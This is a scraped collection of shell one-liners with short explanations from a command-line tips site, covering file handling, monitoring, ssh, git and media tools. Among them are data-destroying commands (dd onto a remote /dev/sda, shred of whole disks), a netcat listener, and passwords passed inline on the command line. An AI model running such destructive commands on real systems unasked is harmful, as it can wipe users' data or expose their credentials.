( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less
Functions: zcat
Group OR'd commands where you expect only one to work
Something to stuff in an alias when you are working in multiple environments. The double-pipe OR will fall through until one of the commands succeeds, and the rest won't be executed. Any STDERR will fall out, but the STDOUT from the correct command will bubble out of the parenthesis to the less command, or some other command you specify.
echo "text to be displayed" | pv -qL 10
Pipe Viewer allows you to monitor the progress of a data transfer or command, or to show the time elapsed, among other things. In this use, it limits the transfer rate of the echo command to 10 bytes per second, making your text appear to be typed out in real time as in Hollywood movies. Fun!
dd if=mfsbsd.iso | ssh distant.server dd of=/dev/sda
Install a basic FreeBSD system
Install a basic FreeBSD system on a distant server. I use this to install FreeBSD on servers that can only boot a Linux rescue system. This sytem loads on ram when booted, so it is possible to install freely. You can even install on ZFS root !
git archive HEAD --format=zip > archive.zip
bash script to zip a folder while ignoring git files and copying it to dropbox
Better tool for exporting git's repository is Git itself!
inotifywait -mrq -e CREATE --format %w%f /path/to/dir | while read FILE; do chmod g=u "$FILE"; done
Functions: chmod read
Trigger a command each time a file is created in a directory (inotify)
Listens for events in the directory. Each created file is displayed on stdout. Then each fileline is read by the loop and a command is run.
This can be used to force permissions in a directory, as an alternative for umask.
More details:
http://en.positon.org/post/A-solution-to-the-umask-problem%3A-inotify-to-force-permissions
for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
This will convert filenames from uppercase to lowercase. I find this useful after downloading images from my digital camera. This works for English, but other languages may need something slightly more complex like this:
for i in *; do mv "$i" "$(echo $i|tr [:upper:] [:lower:])"; done
Also, the quote marks aren't necessary if your filenames don't contain spaces.
watch -n 1 df
Watch the disk fill up
While copying a large file that may take up a good chunk of your hard drive, start the copy and run this command concurrently. It will print out the disk information every second. It's pretty handy when you have a large copy with nothing to monitor the progress.
chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
$ chr 65
A
Function to output an ASCII character given its decimal equivalent
I've corrected the function. My octal conversion formula was completely wrong. Thanks to pgas at http://mywiki.wooledge.org/BashFAQ/071 for setting me straight. The new function is from pgas and is very fast.
seq -s " " -w 3 20
for loop with leading zero in bash 3
upper() { echo ${@^^}; }
$ upper hello world
HELLO WORLD
Convert text to uppercase
Usage: upper [STRING]...
ls | vim +'set bt=nowrite' -
Functions: ls vim
vim read stdin
locate searchstring | xargs ls -l
Functions: locate ls xargs
do a full file listing of every file found with locate
eh () { history -a ; vi ~/.bash_history ; history -r ; }
function to edit your history file
eh stands for Edit History
Frequently, I'll mistype a command, and then step back through my history and correct the command. As a result, both the correct and incorrect commands are in my history file. I wanted a simple way to remove the incorrect command so I don't run it by mistake.
When running this function, first the ~/bash_history file is updated, then you edit the file in vi, and then the saved history file is loaded back into memory for current usage.
while in vi, remember that `Shift-G` sends you to the bottom of the file, and `dd` removes a line.
this command is different than bash built-in `fc` because it does not run the command after editing.
cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"
Enter your ssh password one last time
Enter your ssh public key in the remote end for future key-based authentication. Just type your password one last time. The next time you should be able to login with the public key. If you don't have a key, generate one with ssh-keygen.
Requires Bourne-compatible shell in the remote end.
watch -t -n1 'date "+%r %F %A"'
08:03:57 PM 2011-02-15 Tuesday
Console clock
Shows a simple clock in the console
-t param removes the watch header
Ctrl-c to exit
; echo "job done"|mail email@email.com -s'job done'
mysqldump -A; echo "job done"|mail 5551231234@vzwpix.com -s'job done'
sends a txt message to your phone tell you the job is done.
Functions: echo mail
Email yourself after a job is done
This is a two part command that comes in really handy if you're running commands that take longer than you're willing to wait. The commands are separated by the semicolon(;) The first command is whatever you're attempting to do. The second commands emails you after the job completes.
date -d '2 weeks ago'
Use date to find the date at other days and times.
find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
Finding all files on local file system with SUID and SGID set
perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'
Multi-line grep
Using perl you can search for patterns spanning several lines, a thing that grep can't do. Append the list of files to above command or pipe a file through it, just as with regular grep. If you add the 's' modifier to the regex, the dot '.' also matches line endings, useful if you don't known how many lines you need are between parts of your pattern. Change '*' to '*?' to make it greedy, that is match only as few characters as possible.
See also http://www.commandlinefu.com/commands/view/1764/display-a-block-of-text-with-awk to do a similar thing with awk.
Edit: The undef has to be put in a begin-block, or a match in the first line would not be found.
dd bs=1 seek=2TB if=/dev/null of=ext3.test
Create a large test file (taking no space).
:!cp % %-
Create a backup of file being edited while using vi
At the start of a vi session and *before* saving any changes use ":!cp % %-" to make a backup of the current file being edited.
example: vi /data/some/long/path/file
:!cp% %-
creates /data/some/long/path/file-
sudo -u username bash
Switch to a user with "nologin" shell
You need sudo privileges for this command.
Replace username with actual username.
while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
Repeatedly purge orphaned packages on Debian-like Linuxes
find /tmp -type f -atime +1 -delete
cleanup /tmp directory
Cleans all files in /tmp that have been accessed at least 2 days ago.
‹ First < 64 65 66 67 68 > Last ›
mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]
Use a Gmail virtual disk (GmailFS) on Ubuntu
Packages: gmailfs fuse-utils libfuse2 gvfs-fuse
Config files: /etc/gmailfs/gmailfs.conf; ~/.gmailfs.conf (make a copy from the another one)
Unmount:
fusermount -u /mount/path/
/etc/fstab (Optional):
none /mount/path/ gmailfs
noauto,user[,username=USERNAME,password=PASSWORD,fsname=VOLUME] 0 0
NOTES:
- The options between [] are optional since they already setuped on the config files.
- The '-p' flag shows a prompt for the password entry.
- It's necessary to add the user to the 'fuse' group. You can do that with:
sudo chgrp fuse /dev/fuse
sudo usermod -a -G fuse USER
- The volume name is not needed but highly recommended to avoid file corruption. Also choose a non-trivial name.
- Google doesn't approve the use of Gmail account other than e-mail purposes. So, I recommend the creation of a new account for this.
Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
Filter running: ... /bin/sh -c xsel -i -b < /tmp/screen-exchange
Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
This command will let you just type c-a b (which means press 'ctrl' then 'a' then 'b'), and screen will save your copy buffer to /tmp/screen-exchange, and then execute xsel to copy the contents of that file into the system's X clipboard.
1. Install Conrad Parker's xsel from http://www.vergenet.net/~conrad/software/xsel/
2. Add these lines to your .screenrc
# Add cool line to make copying to x clipboard possible.
# This binds C-a b to copy screen's copy buffer to the system clipboard.
bind b eval writebuf 'exec /bin/sh -c "xsel -i -b < /tmp/screen-exchange"' 'exec /bin/sh -c "killall xsel"'
3. Restart screen.
4. Test it by typing c-a [ to enter copy mode.
5. Select some text using vi movement keys (h, j, k, l, etc...) and starting your selection by hitting the space bar, moving with vi movement keys, and then ending your selection with the space bar.
6. Type C-a b, and screen will use xsel to copy your screen copy buffer to the system's X clipboard buffer.
7. Then you can paste the screen copy buffer into any X program.
Note: If you're using Mac OSX, you can use pbcopy instead of xsel.
Also Note: The second exec in the .screenrc file, which runs killall on xsel, is necessary, because even when you redirect a file to xsel, xsel waits for you to press ctrl-c to kill it, and have it stop waiting for more input. Since xsel forces screen to wait, and I don't want to press ctrl-c, I send the equivalent of ctrl-c with killall causing xsel to write /tmp/screen-exchange to the X clipboard, and then exit. It's a hack, but it works. If you know how to get this to work without a lame hack leave a comment explaining how.
Get your public ip
echo 'graph{node[shape=record];rankdir=LR;matrix[label="{1|2|3}|{4|5|6}|{7|8|9}",color=red]}' | dot -Tpng | display
Functions: dot echo
draw matrix using dot
tail -F file | egrep --color 'pattern|$'
Functions: egrep file tail
tail, with specific pattern colored
mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME
dump a single table of a database to file
strace -f -s 512 -v ls -l
23155 execve("/bin/ls", ["ls", "-l"], [/* 40 vars */]) = 0
23155 brk(0) = 0x1bad000
23155 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faa66e30000
23155 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
23155 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faa66e2e000
23155 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
23155 open("/etc/ld.so.cache", O_RDONLY) = 3
23155 fstat(3, {st_mode=S_IFREG|0644, st_size=119879, ...}) = 0
23155 mmap(NULL, 119879, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faa66e10000
23155 close(3) = 0
23155 open("/lib/librt.so.1", O_RDONLY) = 3
Functions: ls strace
trace the system calls made by a process (and its children)
strace can be invaluable in trying to figure out what the heck some misbehaving program is doing. There are number of useful flags to limit and control its output, and to attach to already running programs. (See also 'ltrace'.)
shopt -s cdspell
Enable automatic typo correction for directory names
utime { date -d @$1; }
$ utime 1000000000
Sat Sep 8 21:46:40 EDT 2001
Easily decode unix-time (funtion)
More recent versions of the date command finally have the ability to decode the unix epoch time into a human readable date. This function makes it simple to utilize this feature quickly.
python -c'for i in range(1,101):print"FizzBuzz"[i*i%3*4:8--i**4%5]or i'
Fizz
Buzz
7
11
14
FizzBuzz
16
17
19
22
23
26
28
29
31
38
41
43
44
46
47
49
52
53
58
59
61
62
64
67
68
71
73
74
76
77
79
82
83
86
88
91
92
94
97
98
FizzBuzz one-liner in Python
A common programming question for interviewers to ask potential job candidates is to code "FizzBuzz". That is, if a number is divisible by 3, then it should display "Fizz". If a number is divisible by 5, it should display "Buzz". If it is divisible by both, then it should display "FizzBuzz". Otherwise, display the current number between 1 and 100.
mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
Functions: dig sed
netstat -ntauple
tree -C | less -R
Preserve colors when piping tree to less
shred targetfile
Securely destroy data (including whole hard disks)
GNU shred is provided by the coreutils package on most Linux distribution (meaning, you probably have it installed already), and is capable of wiping a device to DoD standards.
You can give shred any file to destroy, be it your shell history or a block device file (/dev/hdX, for IDE hard drive X, for example). Shred will overwrite the target 25 times by default, but 3 is enough to prevent most recovery, and 7 passes is enough for the US Department of Defense. Use the -n flag to specify the number of passes, and man shred for even more secure erasing fun.
Note that shredding your shell history may not be terribly effective on devices with journaling filesystems, RAID copies or snapshot copies, but if you're wiping a single disk, none of that is a concern. Also, it takes quite a while :)
server=8.8.8.8; host="apple.com"; queries=128; for i in `seq $queries`; do let x+=`dig @${server} $host | grep "Query time" | cut -f 4 -d " "`; done && echo "scale=3;($x/${queries})" | bc
Functions: cut echo grep
duration of the DNS-query
modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
Functions: cut modinfo sed
Short Information about loaded kernel modules
I modify 4077 and marssi commandline to simplify it and skip an error when parsing the first line of lsmod (4077). Also, it's more concise and small now. I skip using xargs ( not required here ). This is only for GNU sed.
For thoses without GNU sed, use that :
modinfo $(lsmod | awk 'NR>1 {print $1}') | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d
google youtube post --title "My\ Video" --category Education ~/myvideo.avi
Loading myvideo.avi
kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
No output. But if you want to see the PIDs of your Zombies' parents just use this piece:
ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}
Functions: awk grep kill
Kill all Zombie processes (Guaranteed!)
It identifies the parents of the Zombie processes and kill them. So the new parent of orphan Zombies will be the Init process and he is already waiting for reaping them. Be careful! It may also kill your useful processes just because they are not taking care and waiting for their children (bad parents!).
tee >(cat - >&2)
$ bash --version |tee >(cat - >&2) | wc -l
GNU bash, version 3.2.49(1)-release (i586-suse-linux-gnu)
Copyright (C) 2007 Free Software Foundation, Inc.
Functions: cat tee
tee to a file descriptor
the tee command does fine with file names, but not so much with file descriptors, such as &2 (stderr). This uses process redirection to tee to the specified descriptor.
In the sample output, it's being used to tee to stderr, which is connected with the terminal, and to wc -l, which is also outputting to the terminal. The result is the output of bash --version followed by the linecount
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
-
Block the 6700 worst spamhosts
The above url contains over 6700 of the common ad websites. The command just pastes these into your /etc/hosts.
for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s ' '; echo -e "\e[m"
Functions: column echo
I like the other three versions but one uses nested loops and another prints every color on a separate line. Both versions fail to reset colors before giving the prompt back.
This version uses the column command to print a table so all the colors fit on one screen. It also resets colors back to normal before as a last step.
sudo apt-get update 2> /tmp/keymissing; for key in $(grep "NO_PUBKEY" /tmp/keymissing |sed "s/.*NO_PUBKEY //"); do echo -e "\nProcessing key: $key"; gpg --keyserver pool.sks-keyservers.net --recv $key && gpg --export --armor $key |sudo apt-key add -; done
Functions: echo gpg grep sed sudo
Auto Get Missing Launchpad Keys
You can choose these mirror servers to get gpg keys, if the official one ever goes offline
keyserver.ubuntu.com
pool.sks-keyservers.net
subkeys.pgp.net
pgp.mit.edu
keys.nayr.net
keys.gnupg.net
wwwkeys.en.pgp.net #(replace with your country code fr, en, de,etc)
find . -iname "*.flac" | cpio -pdm /Volumes/Music/FLAC
#Any folders containing .flac files will be copied to the destination.
/Volumes/Music/FLAC/Music $ ls
Albert King The Best of Albert King(flac)/
Cloud Kicker/
St Germain/
Astor Piazzolla(flac)/
Functions: cpio find
Find all files of a type and copy them elsewhere while keeping intact their full directory structure using find and cpio
.flac is the filetype.
/Volumes/Music/FLAC is the destination.
awk '{$1=""; print}'
print all except first collumn
xwd -root -display :0.0| xwdtopnm | pnmtopng > Screenshot.png
xwdtopnm: writing PPM file
pnmtopng: 1 colors found
When connected to a box via ssh you can do a quick screenshot of that box using this command.
After that you can rscp it over to your box and look at it.
‹ First < 65 66 67 68 69 > Last ›
curl -Is slashdot.org | sed -n '5p' | sed 's/^X-//'
4
nohup &
Runs a command without hangups.
puts command in background and sends its output to nohup.out file
it will not die if you log out fromyour shell session ;-)
ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'
Functions: awk grep ps
Apache memory usage
sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
Sort IPV4 ip addresses
fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }
----
Check out hijacked files in clearcase
xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
Binary search/replace
Replaces A with B in binary file "orig" and saves the result to "new". You must have the hex representations of A & B. Try od: echo -e "A\c" | od -An -x
sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]
fuman, an alternative to the 'man' command that shows commandlinefu.com examples
Example: fuman sed
awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
Functions: awk modinfo xargs
lsof | grep pcm
List processes playing sound
When trying to play a sound you may sometimes get an error saying that your sound card is already used, but not by what process. This will list all processes playing sound, useful to kill processes that you no longer need but that keep using your sound card.
cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
$ cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
60 .+-----+------+------+------+-------+------+------+------+------+-----++
50 ++ ++
40 ++ ++
30 ++ ++
20 ++ .. ++
10 ++ .... ++
0 ++-----+------+------+------+-------+------+------+------+------+-----++
Functions: awk cat head printf sort tr uniq
Plot frequency distribution of words from files on a terminal.
Uses the dumb terminal option in gnuplot to plot a graph of frequencies. In this case, we are looking at a frequency analysis of words in all of the .c files.
shopt -s histappend
Avoiding history file to be overwritten
If histappend options is set in bash, the file .bash_history will not be overwrite and history list is append to it.
find -iname '*mp3' -exec mid3iconv {} \;
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-02-Incredible.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-07-Crazy.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-06-Where_Has_Our_Love_Gone.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-08-Letting_Go.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-10-Walk_On.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-You've_Got_Me.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-01-Get_Over_It.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-03-Come_Around.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-04-Love_Gone_Mad.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-05-Catch_Me_If_You_Can.mp3
Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-09-Hoping_for_Tomorrow.mp3
Fix "broken" ID3 tags in the current directory and subdirectories
Some MP3s come with tags that don't work with all players. Also, some good tag editors like, EasyTAG output tags that don't work with all players. For example, EasyTAG saves the genre as a numeric field, which is not used correctly in Sansa MP3 players.
This command corrects the ID3 tags in MP3 files using mid3iconv, which comes with mutagen. To install Mutagen on Fedora use "yum install python-mutagen"
watch -tn1 'date +%r | figlet'
___ __ ____ _ _ _ _ __ _ __ __
/ _ \ / /_ _| ___|| || | _| || | / /_ / \ | \/ |
| | | | '_ (_)___ \| || |(_) || |_| '_ \ / _ \ | |\/| |
| |_| | (_) | ___) |__ _||__ _| (_) | / ___ \| | | |
\___/ \___(_)____/ |_|(_) |_| \___/ /_/ \_\_| |_|
Big Countdown Clock with hours, minutes and seconds
Figlet is easy to find for download on the internet, and works for any text. Quite cool.
renice +5 -p $(pidof )
Functions: pidof renice
renice by name
ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
Jul 15 11:46
or
Dec 24 2006
shows also time if its the same year or shows year if installed before actual year and also works if /etc is a link (mac os)
for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
open a seperate konsole tab and ssh to each of N servers (konsole 4.2+)
creates a new tab for each of N servers in listofservers.txt and ssh's to said servers
then, try the "send to all sessions" feature of konsole to do the same work on all servers at the same time. BIG time saver, but be careful!
watch "df | grep /path/to/drive"
Watch how fast the files in a drive are being deleted
This can be useful when a large remove operation is taking place.
$mkdir mydir -> mv !$ yourdir -> $cd !$
vi abc.txt -> $cat !$ -> $ls -al !$
Gets the last string of previous command with !$
It helps you save a lot of writing :-)
zcat database.sql.gz | mysql -uroot -p'passwd' database
Restore mysql database uncompressing on the fly.
This way you keep the file compressed saving disk space.
Other way less optimal using named pipes:
mysql -uroot -p'passwd' database <
screen -d -m command &
Functions: command screen
The improvement is that you can re-attach to the screen at a later point.
identify -format "%wx%h" /path/to/image.jpg
150x51
Simple use of ImageMagick identify function.
egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
Filter IPs out of files
date --date=yesterday
print date 24 hours ago
ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
Functions: echo ps sed tail
How much RAM is Apache using?
expr 512 \* 7
expr 44 + 99 + 128
271
Functions: expr
Quick command line math
expr will give you a quick way to do basic math from the CLI. Make sure you escape things like * and leave a space between operators and digits.
wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
backup your entire hosted website using cPanel backup interface and wget
this will connect to your hosted website service through the cPanel interface and use its backup tool to backup and download the entire website, locally.
(do not forget to replace : YourUsername , YourPassword and YourWebsiteUrl for it to work )
zip -vr example.zip example/ -x "*.DS_Store"
Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
If you want to generate a cross-platform compatible zip file and ignore the Finder's hidden metadata directory
‹ First < 66 67 68 69 70 > Last ›
man intro
Introduction to user commands
Tested on debian and ubuntu. Translations could be useless, so "LANG=C man intro" is a better alternative.
dpkg -L iptables | perl -lne 'print if -f && -x'
Functions: iptables perl
List only executables installed by a debian package
Safe for whitespaces in names.
sftp -oPort=3476 user@host
Functions: sftp
Connect via sftp to a specific port
I use this for connect via sftp to a server listening on a non default ssh port.
eject -i 1
CD-Drive may NOT be ejected with device button
Lock the hardware eject button of the cdrom
This command will lock the hardware eject button of your cdrom drive. Some uses are:
1: If you have a toddler and has discovered the cdrom button
2: If you are carrying a laptop in a bag or case and don't want it to eject if the button is inadvertently pressed.
To unlock the button use:
eject -i 0
echo 'fOo BaR' | tr '[A-Z]' '[a-z]' | sed 's/\(^\| \)\([a-z]\)/\1\u\2/g'
Foo Bar
Functions: echo sed tr
Capitalize first letter of each word in a string.
ps aux | grep [a]pache2 | nl
count and number lines of output, useful for counting number of matches
Write each FILE to standard output, with line numbers added. With no FILE, or when FILE is -, read standard input.
ls -l | sort -nk5
Sort files by size
awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-
Functions: awk cut sort
Randomize lines in a file
This appends a random number as a first filed of all lines in SOMEFILE then sorts by the first column and finally cuts of the random numbers.
ps -C program_name || { program_name & }
Restart command if it dies.
works well in crontab.
cat -n | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-
Functions: cat cut sort uniq
delete duplicate lines from a file and keep the order of the other lines
i wanted to delete all duplicate lines from .bash_history and keep the order of the other lines.
the command cat's the file and adds line numbers, then sorts by the second column. afterwards uniq omits repeated lines, but skips the first field (the line number). then it sorts by the line numbers and at the end cuts the numbers off.
sed -i '10d'
Very useful when the ssh key of a host has changed and ssh refuses to connect to the machine, while giving you the line number that has changed in ~/.ssh/known_hosts.
sudo apt-get -o Acquire::http::Dl-Limit=25 install
Cap apt-get download speed
apt-get is pretty aggressive when it downloads, potentially hogging the bandwidth of your network. The 25 is in KB, change this to your needs.
while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done
HTTP redirect
any HTTP requests to the machine on the specified port will be redirected to http://www.whatevs.com... quick, dirty, works fine for sites w/
tcpdump -v -i -s 0 -w /tmp/sniff.pcap port # On the remote side
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
265 packets captured
265 packets received by filter
Sniffing network to generate a pcap file in CLI mode on a remote host and open it via local Wireshark ( GUI ).
Then hit ^C to stop, get the file by scp, and you can now use wireshark like this :
wireshark /tmp/sniff.pcap
If you have tshark on remote host, you could use that :
wireshark -k -i <(ssh -l root tshark -w - not tcp port 22)
The last snippet comes from http://wiki.wireshark.org/CaptureSetup/Pipes
fping -r1 -g 2> /dev/null | grep unreachable | cut -f1 -d' '
192.168.0.226
192.168.0.227
Functions: cut grep
Somewhat shorter version.
zip -r myfile.zip * -x \*.svn\*
Create a zip archive excluding all SVN folders
tail -f | grep -C <# of lines to show above and below>
Functions: grep tail
Live filter a log file using grep and show x# of lines above and below
watch 'iptables -vL'
Chain RH-Firewall-1-INPUT (2 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT all -- lo any anywhere anywhere
613 489K ACCEPT all -- any any anywhere anywhere state RELATED,ESTABLISHED
watch iptables counters
Watch the number of packets/bytes coming through the firewall. Useful in setting up new iptables rules or chains. Use this output to reorder rules for efficiency.
find . -name "*.php" -exec php -l {} \;
scan folder to check syntax error in php files
sed '/^$/d'
remove empty lines
echo ${PIPESTATUS[@]}
Show exit status of all portions of a piped command eg. ls |this_doesn't_exist |wc
import -window `xwininfo | awk '/Window id/{print $4; exit}'` `uuidgen`.png
capture selected window
man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500
Functions: awk man sed sudo xargs
Play musical notes from octave of middle C
Are there any creative pieces of music that can be created using beep and the shell? I'd love to hear it!
lockfile
Functions: lockfile
Locking and unlocking files and mailboxes
Programs for locking and unlocking files and mailboxes.This package includes several programs to safely lock and unlock files and mailboxes from the command line. These include:
lockfile-create
lockfile-remove
lockfile-touchlock
mail-lock
mail-unlock
mail-touchlock
These programs use liblockfile to perform the file locking and unlocking, so they are guaranteed compatible with Debian's file locking policies.
pdftk in.pdf cat 1S output out.pdf
Rotate a single page PDF by 180 degrees
More pdftk examples: http://www.pdflabs.com/docs/pdftk-cli-examples/
‹ First < 67 68 69 70 71 > Last ›
convert -resize 200 awk.pdf[0] awk.png
create thumbnail of pdf
git diff HEAD..rev | git apply --index; git commit
Undo several commits by committing an inverse patch.
Use this to make a new commit that "softly" reverts a branch to some commit (i.e. squashes the history into an inverse patch). You can review the changes first by doing the diff alone.
egrep --color=auto 'usb|' /var/log/messages
Colorize matching string without skipping others
this is useful to highlight only some code without losing other lines (eg. software, logs, scripts)
in ex mode in vim
Edit your command in vim ex mode by
If you are in ex mode in vim i.e. you've pressed ':'. You can edit the current command by pressing
sleep 3 && xdotool type --delay 0ms texthere
Functions: sleep type
Type a random string into a X11 window
Just after you type enter, you have 3 seconds to switch window, then "texthere" will be "typed" in the X11 application that has focus. Very useful to beat your score at games such as "How fast can you type A-Z".
cp filename{,.`date +%Y%m%d`}
Fast file backup
This is a BASH feature.
The above command will create a backup of "filename" called "filename.DATE", where DATE is the actual day in %Y%m%d (year, month and day numbers together) format.
x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
connect to X login screen via vnc
the $15 may change for you depending on your distro, etc...
echo $ascii | perl -ne 'printf "%x", ord for split //'
Functions: echo perl split
convert ascii string to hex
just a bit simpler
pdftk A=odd.pdf B=even.pdf shuffle A1-end Bend-1S output duplex.pdf
PDF simplex to duplex merge
Joins two pdf documents coming from a simplex document feed scanner. Needs pdftk >1.44 w/ shuffle.
pv large.xml | xclip
cat large file to clipboard with speed-o-meter
shortest alternative without the speed-o-meter"xclip large.xml"
"xclip -o" to get the clipboard content, alternatively [shift key] + insert or middle button of your mouse.
convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
Make a thumbnail image of first page of a PDF.
convert is included in ImageMagick. Don't forget the [X] (where X is the page number). [0] is the first page of the PDF.
ps -o comm= -p $(ps -o ppid= -p $$)
Who invoked me? / Get parent command
Get the name of the parent command. This might be helpful, if you need to react on that information. E. g. a script called directly via ssh has got sshd as parent, manually invoked the parent process will probably be bash
echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
Functions: dd echo tr true
A bit different from some of the other submissions. Has bold and uses all c printable characters. Change the bs=value to speed up and increase the sizes of the bold and non-bold strings.
du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
# du -x --max-depth=1 /var | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
0 /var/lock
128K /var/run
4.0K /var/crash
4.0K /var/games
4.0K /var/local
4.0K /var/opt
4.0K /var/tmp
8.0K /var/mail
692K /var/spool
7.2M /var/backups
13M /var/log
97M /var/www
236M /var/lib
539M /var/cache
891M /var
Functions: awk du sort xargs
Numerically sorted human readable disk usage
Provides numerically sorted human readable du output. I so wish there was just a du flag for this.
tail -f somefile |tee >(grep --line-buffered '1' > one.txt) |tee >(grep --line-buffered '2' > two.txt)
Functions: grep tail tee
monitor a tail -f command with multiple processes
when using named pipes only one reader is given the output by default. Also, most commands piped to by grep use a buffer which save output until tail -f finishes, which is not convenient. Here, using a combination of tee, sub-processes and the --line-buffered switch in grep we can workaround the problem.
wget -O LICENSE.txt http://www.gnu.org/licenses/gpl-3.0.txt
Add a GPL license file to your project
/usr/sbin/dmidecode | grep -i "current speed"
gnu@robby:~$ sudo /usr/sbin/dmidecode | grep -i "current speed"
find . -type f | grep -rl $'\xEF\xBB\xBF'
..list of files containing "BOM".
Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
Character: "?" is the Byte Order Mark (BOM) of the Unicode Standard.
Specifically it is the hex bytes EF BB BF, which form the UTF-8 representation of the BOM,
misinterpreted as ISO 8859/1 text instead of UTF-8.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null
A command to post a message to Twitter that includes your geo-location and a short URL.
A command to post a message to Twitter that includes your geo-location and a short URL. The link shortening service is provide by TinyURL, the geo-location service is provided by HostIP and the IP address lookup service is provided by AppSpot. This is an upgrade of an of one of my previous contributions: http://tinyurl.com/yd2xtzv.
ssh -fND localhost:PORT USER@SERVER
Create a persistent remote Proxy server through an SSH channel
Create a persistent remote Proxy server through an SSH channel.
rpm2cpio package.rpm |cpio -dimv
Functions: cpio
Extract all of the files on an RPM on a non-RPM *nix
alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0'
get a desktop notification from the terminal
